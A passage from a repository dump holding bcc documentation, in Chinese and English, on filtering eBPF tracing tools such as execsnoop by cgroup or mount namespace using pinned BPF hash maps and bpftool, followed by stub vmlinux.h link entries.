59 | ``` 60 | 61 | 现在,通过systemd-run启动的shell的cgroup ID已经存在于BPF哈希映射中,bcc工具将显示来自该shell的结果。可以添加和。从BPF哈希映射中删除而不重新启动bcc工具。 62 | 63 | 这个功能对于将bcc工具集成到外部项目中非常有用。 64 | 65 | ## 按命名空间选择挂载点进行过滤 66 | 67 | BPF哈希映射可以通过以下方式创建: 68 | 69 | ```sh 70 | # bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \ 71 | name mnt_ns_set flags 0 72 | ``` 73 | 74 | 仅执行`execsnoop`工具,过滤挂载命名空间在`/sys/fs/bpf/mnt_ns_set`中: 75 | 76 | ```sh 77 | # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set 78 | ``` 79 | 80 | 在新的挂载命名空间中启动一个终端: 81 | 82 | ```sh 83 | # unshare -m bash 84 | ``` 85 | 86 | 使用上述终端的挂载命名空间ID更新哈希映射: 87 | 88 | ```sh 89 | FILE=/sys/fs/bpf/mnt_ns_set 90 | if [ $(printf '\1' | od -dAn) -eq 1 ]; then 91 | HOST_ENDIAN_CMD=tac 92 | else 93 | HOST_ENDIAN_CMD=cat 94 | fi 95 | 96 | NS_ID_HEX="$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\{2\}/&\n/g' | $HOST_ENDIAN_CMD)" 97 | bpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any 98 | ``` 99 | 100 | 在这个终端中执行命令: 101 | 102 | ```sh 103 | # ping kinvolk.io 104 | ``` 105 | 106 | 你会看到在上述你启动的`execsnoop`终端中,这个调用被记录下来: 107 | 108 | ```sh 109 | # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set 110 | [sudo] password for mvb: 111 | PCOMM PID PPID RET ARGS 112 | ping 8096 7970 0 /bin/ping kinvolk.io 113 | ```。 114 | -------------------------------------------------------------------------------- /src/bcc-documents/special_filtering_en.md: -------------------------------------------------------------------------------- 1 | # Special Filtering 2 | 3 | Some tools have special filtering capabilities, the main use case is to trace 4 | processes running in containers, but those mechanisms are generic and could 5 | be used in other cases as well. 6 | 7 | ## Filtering by cgroups 8 | 9 | Some tools have an option to filter by cgroup by referencing a pinned BPF hash 10 | map managed externally. 11 | 12 | Examples of commands: 13 | 14 | ```sh 15 | # ./opensnoop --cgroupmap /sys/fs/bpf/test01 16 | # ./execsnoop --cgroupmap /sys/fs/bpf/test01 17 | # ./tcpconnect --cgroupmap /sys/fs/bpf/test01 18 | # ./tcpaccept --cgroupmap /sys/fs/bpf/test01 19 | # ./tcptracer --cgroupmap /sys/fs/bpf/test01 20 | ``` 21 | 22 | The commands above will only display results from processes that belong to one 23 | of the cgroups whose id, returned by `bpf_get_current_cgroup_id()`, is in the 24 | pinned BPF hash map. 25 | 26 | The BPF hash map can be created by: 27 | 28 | ```sh 29 | # bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \ 30 | name cgroupset flags 0 31 | ``` 32 | 33 | To get a shell in a new cgroup, you can use: 34 | 35 | ```sh 36 | # systemd-run --pty --unit test bash 37 | ``` 38 | 39 | The shell will be running in the cgroup 40 | `/sys/fs/cgroup/unified/system.slice/test.service`. 41 | 42 | The cgroup id can be discovered using the `name_to_handle_at()` system call. In 43 | the examples/cgroupid, you will find an example of program to get the cgroup 44 | id. 45 | 46 | ```sh 47 | # cd examples/cgroupid 48 | # make 49 | # ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 50 | ``` 51 | 52 | or, using Docker: 53 | 54 | ```sh 55 | # cd examples/cgroupid 56 | # docker build -t cgroupid . 57 | # docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \ 58 | cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 59 | ``` 60 | 61 | This prints the cgroup id as a hexadecimal string in the host endianness such 62 | as `77 16 00 00 01 00 00 00`. 63 | 64 | ```sh 65 | # FILE=/sys/fs/bpf/test01 66 | # CGROUPID_HEX="77 16 00 00 01 00 00 00" 67 | # bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any 68 | ``` 69 | 70 | Now that the shell started by systemd-run has its cgroup id in the BPF hash 71 | map, bcc tools will display results from this shell. Cgroups can be added and 72 | removed from the BPF hash map without restarting the bcc tool. 73 | 74 | This feature is useful for integrating bcc tools in external projects. 75 | 76 | ## Filtering by mount by namespace 77 | 78 | The BPF hash map can be created by: 79 | 80 | ```sh 81 | # bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \ 82 | name mnt_ns_set flags 0 83 | ``` 84 | 85 | Execute the `execsnoop` tool filtering only the mount namespaces 86 | in `/sys/fs/bpf/mnt_ns_set`: 87 | 88 | ```sh 89 | # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set 90 | ``` 91 | 92 | Start a terminal in a new mount namespace: 93 | 94 | ```sh 95 | # unshare -m bash 96 | ``` 97 | 98 | Update the hash map with the mount namespace ID of the terminal above: 99 | 100 | ```sh 101 | FILE=/sys/fs/bpf/mnt_ns_set 102 | if [ $(printf '\1' | od -dAn) -eq 1 ]; then 103 | HOST_ENDIAN_CMD=tac 104 | else 105 | HOST_ENDIAN_CMD=cat 106 | fi 107 | 108 | NS_ID_HEX="$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\{2\}/&\n/g' | $HOST_ENDIAN_CMD)" 109 | bpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any 110 | ``` 111 | 112 | Execute a command in this terminal: 113 | 114 | ```sh 115 | # ping kinvolk.io 116 | ``` 117 | 118 | You'll see how on the `execsnoop` terminal you started above the call is logged: 119 | 120 | ```sh 121 | # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set 122 | [sudo] password for mvb: 123 | PCOMM PID PPID RET ARGS 124 | ping 8096 7970 0 /bin/ping kinvolk.io 125 | ``` 126 | -------------------------------------------------------------------------------- /src/third_party/libbpf: -------------------------------------------------------------------------------- 1 | bpftool/libbpf -------------------------------------------------------------------------------- /src/third_party/vmlinux/arm/vmlinux.h: -------------------------------------------------------------------------------- 1 | vmlinux_62.h -------------------------------------------------------------------------------- /src/third_party/vmlinux/arm64/vmlinux.h: -------------------------------------------------------------------------------- 1 | vmlinux_601.h -------------------------------------------------------------------------------- /src/third_party/vmlinux/loongarch/vmlinux.h: -------------------------------------------------------------------------------- 1 | vmlinux_602.h -------------------------------------------------------------------------------- /src/third_party/vmlinux/powerpc/vmlinux.h: -------------------------------------------------------------------------------- 1 | vmlinux_600.h -------------------------------------------------------------------------------- /src/third_party/vmlinux/riscv/vmlinux.h: -------------------------------------------------------------------------------- 1 | vmlinux_602.h -------------------------------------------------------------------------------- /src/third_party/vmlinux/vmlinux.h: -------------------------------------------------------------------------------- 1 | x86/vmlinux_601.h -------------------------------------------------------------------------------- /src/third_party/vmlinux/x86/vmlinux.h: -------------------------------------------------------------------------------- 1 | vmlinux_601.h --------------------------------------------------------------------------------